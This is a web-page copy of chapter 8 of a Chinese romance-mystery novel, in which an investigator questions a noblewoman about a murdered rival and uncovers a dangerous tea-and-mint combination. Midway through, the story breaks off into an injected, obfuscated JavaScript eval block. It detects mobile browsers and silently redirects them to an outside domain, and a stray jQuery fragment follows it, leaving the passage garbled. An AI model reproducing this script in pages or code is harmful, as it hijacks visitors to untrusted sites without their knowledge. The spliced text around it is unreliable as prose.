8. 第 8 章
作品:《在白月光面前装失忆后》 “那时天未回暖,人人皆着披风斗篷,起初我也并未觉出异样,直到她不甚打翻杯盏,脱了斗篷,才被我瞧了出来。”元羡回忆道。
顾玺皱眉:“柳玉瑶自己承认有孕?”
“这样的事怎好说出口?”
元羡道。
“柳玉瑶此人身形细瘦,极其喜作纤弱淑女之风,一向以细腰为傲,那日腰身却圆润了些,动作遮遮掩掩的,一看便有鬼。”
“只是如此?”一旁记录案词的既白反驳道:“或许她只是胖了。”
“不会。”
元羡对此倒很笃定。
“柳玉瑶为维持身材,已坚持素食两年有余,甚至不惜私下服食丹药瘦身,她对身材如此执着,怎会轻易让自己发胖?”
“若不信,可去芷泉巷末数第三家药铺查问,柳玉瑶是那的常客,只不过她每次都偷偷过去,连她家人都未必知晓。”
既白一边提笔,一边问道:“既然如此私密,您又从何而知?”
“自然是派人跟踪了她。”元羡娇哼了声,“她回回在我面前炫耀纤柔,以此嘲讽于我,还道自己天生轻盈,我岂能看她得意?”
既白抬眼打量了一眼,心生疑惑。
贵女间斗嘴攀比并不稀奇,可…长华县主环姿艳逸,曲线玲珑,身材可堪完美。
柳玉瑶怎会想到以此刺激她呢?
更古怪的是,长华县主好似真的被戳中了痛点,显得十分在意此事。
这点仿佛不合逻辑。
既白笔尖微顿,侧头请示顾玺,却见其面色如常,他会意,低头如实记下。
元羡见他仿佛写得十分详尽,她状若不经意地瞥了眼,提醒道。
“你要记录此事也可,只是要标明,我只是单纯好奇,并非羡慕她,只是看不得她那般得意而已。”
她抬手撩了撩发丝。
“再强调一遍,我没有羡慕她。”
既白:“…”
“除此之外,还有其他的么?”
元羡思索片刻,又道:“她将往日喜欢的茶汤换作了金丝血燕,血燕最补气血,只是她从前不碰,嫌味道腥腻,那日果真喝了两口边作干呕,还脏污了斗篷,那模样与我表嫂怀孕时极像,我便更怀疑了。”
“她瞧着不太好受,所以我将斗篷借了她。”
她淡淡拧眉。
“满京城都知我与她不合,若她在我面前出了什么事,岂非要赖到我头上?”
“后来…她遇害后,我去探听过验尸的结果,并未提及她有孕,我便只当那日是场误会了。”
既白一一记下后,对着她道:“这披风作为作证物,需由审刑司收管,待案情查明再归还。”
元羡摇了摇头:“不必了。”
她正愁无处安置,能借此脱手反倒轻松了。
事情交代完毕,杯盏中茶汤已凉,碧珠却见元羡没有起身之意,正要上前为她添茶,便见既白已整理好案册,随着顾玺起身告辞。
“等等,顾侍郎。”
元羡叫住了他。
“关于柳玉瑶可能有孕一事,也只是我的猜测,若是与案子无关,能不能不要将这些公之于众?”
不等顾玺说话,她又接着道。
“柳家门阀眼见没落了,规矩却严苛得可笑,靠着自诩清流维持门庭,若让族人知道她未婚先孕,为了那点不值钱的家族颜面,怕是连家谱都要将她除名,她就要落得无牌无位了。”
顾玺未语。
既白心中却生出些敬意。
世人皆道长华县主跋扈,不想她竟是个良善女子。
这想法才有片刻,便见元羡面色发白,有些紧张地道。
“听说孤魂会化作厉鬼,到时连法师都镇不住。”
“若她知道是我害她如此,找我索命怎么办?太可怕了…”
顾玺:“…”
“这点你可以放心,涉及死者私隐之事,审刑司会谨慎对待。”
元羡双眸一弯:“如此便好,那顾侍郎慢走。”
她长了双妩媚娇柔的桃花眼,眼梢微微挑着,娇气十足,笑起来时却亮晶晶的透着纯真,眼波明媚荡漾。
顾玺眸色深沉。
这晃眼的笑意似乎勾起了某些回忆,于他而言并不美好的回忆。
他不愿继续回想,颔首道了句告辞。
刚欲转身,忽又顿住脚步,侧目望向碧珠手中的茶壶,沉吟片刻道:“这茶是你准备的?”
“方才郡主府的下人送来,说是给县主压惊的。”碧珠答。
顾玺掀开紫砂壶盖,置于鼻下嗅了嗅。
见其半晌不语,又思及元羡在湖边的遭遇,碧珠紧张道:“顾侍郎,是这茶有问题吗?”
“此为血参茶,确有补气安神之效,只是其中加了车前草。”
元羡不明所以:“难道二者相克?”
“无毒。”顾玺道,“只是二者搭配有些罕见。”
碧珠刚松了口气,又见已行至门口的顾玺驻足,留下一句话后便快步离去了。
“这二者虽无毒,但服用此茶后不可食含薄荷之物,否则会引发气喘,重则伤及性命。”
“薄荷…”
碧珠捂嘴,下意识摸向袖中的薄荷糕。
她抬眼望向元羡,二人面上俱是惊骇。
...
春雨连绵,半城湿濡,雾蒙蒙的天阴沉了三日后,终于酝酿出了一场大雨。
审刑司中。
既白冒雨疾步而行,在门前收了纸伞,将紫貂斗篷呈至桌前,对正翻阅案宗的顾玺道:“主子,查清了,这斗篷的确是长华县主所有。”
“如此成色的紫貂在定京极为稀有,城中衣铺不会售卖此等奢靡之物,想必是武安侯府从外地寻来的。”
“另外,属下还从其中发现了此物。”
既白俯身,伸手从斗篷夹层中掏出一枚累丝香囊,拾起一枚浑圆饱满的紫珠。
“香囊中皆为女子随身之物,唯有这颗珠子有些特别,据千金阁老板说此乃南滨所出,属南珠中的极品,一颗可值百金。”
这般昂贵之物,却与其他物件混杂,漫不经心地遗落在了香囊之中。
“长华县主果真如传言般,奢靡无度。”
顾玺长眸微掀,淡淡瞥了一眼:“还有呢?”
还有?
既白微愣,继而马上反应过来,低头禀道:“属下暗自查问过,当日在场宾客所用茶水皆是相同的,茶本身并无问题,至于与长华县主所食糕点相克…她身边丫鬟也说了,当日并无人知晓她带了何种点心,想必只是个巧合。”
“巧合
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901496|176657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
顾玺眯眸,玉指轻敲桌面。
“车前草味腥,很少入茶。”
既白道:“郡主府下人言,车前草有安神清火之效,既是为祭奠故去的柳氏,亲朋难免心中伤怀,如此倒也说得通。据说柳玉莹在燃放河灯时悲伤过度,险些哭晕过去。”
顾玺眸色淡讽。
这说辞倒合乎情理,可惜,他从不相信巧合。
“主子是觉得,有人故意要陷害长华县主?”既白见其不语,疑惑道,“可动机是什么?”
京中讨厌元羡的人虽不少,但上升到生死之怨的,恐怕只有柳氏之事。
但柳玉瑶已亡故数十日,此时下手报仇未免太迟。
顾玺敛眸,眸光落在手中的验尸单上。
他回京之时,柳玉瑶之身已由大理寺尸检安葬完毕,当时的卷宗上并未显示其有身孕。
是仵作的疏忽,还是一切只是元羡错误的臆想,抑或是…有些事早已被悄无声息地抹去痕迹。
真相如何,恐怕只有行开棺验尸之法。
但在没有确切证据前,此举不可行。
“派人去长华县主提起的药铺,查柳氏近三月来开过的药方。”顾玺道。
“主子是说,长华县主被毒害,是因为窥见了柳氏的私密?”既白会意,“若真如此,县主处境危险,要不要派一队人护卫武安侯府?”
顾玺垂眸翻阅案宗,语气冷执淡漠。
“若素宴茶水一事是巧合,便与此案无碍。倘若有人刻意为之,一次不成,还会有第二次。”
“派人暗中盯着武安侯府,勿要打草惊蛇。”
言语中有以长华县主为饵,引出幕后主使之意。
既白迟疑,想问要不要提醒长华县主一声。
毕竟此前素宴那夜她脸色煞白的模样,看起来着实吓到了。
其实那次会面后,既白对元羡的印象还不错。
她对命案的态度十分配合,亦为死者柳氏保留了尊重,他见过许多命案要犯,见识过人心险恶,相比之下元羡的确娇气了些,心却不坏。
虽然假摔一事着实有些尴尬。
但既白却看到了另一种角度。
主子是定京城当之无愧的新贵,那日席间有许多贵女向他示好,元羡却不为所动,依旧心心念念着她的状元郎。
既白偷瞥了眼他家主子。
这叫什么,这叫不为美色与权贵所迷。
这何尝不是一种专一呢?
让一名娇滴滴的贵女去作诱饵,既白有些于心不忍,但十分有眼色地没有提起半句。
一是主子无心男女之情,根本不懂得怜香惜玉。
二是,既白跟了顾玺多年,深知他的喜好。
他清素寡淡,讨厌金帛艳色,亦厌恶骄矜做作之人。
偏如此巧合,长华县主喜好装扮华丽,性情张扬,每处都踩到了他的禁忌上,他心中一定不喜,更别提会有怜惜之意了。
既白便将这意思传达给了下头。
本以为派人暗中监视着武安侯府,就算背后贼人下手,元羡顶多会受些惊吓,不想事情闹得这样严重。
两日后宫里来了人,道惠文帝急召顾玺入宫。
来通传的太监说,有人私闯武安侯府,长华县主受伤昏迷,至今未醒。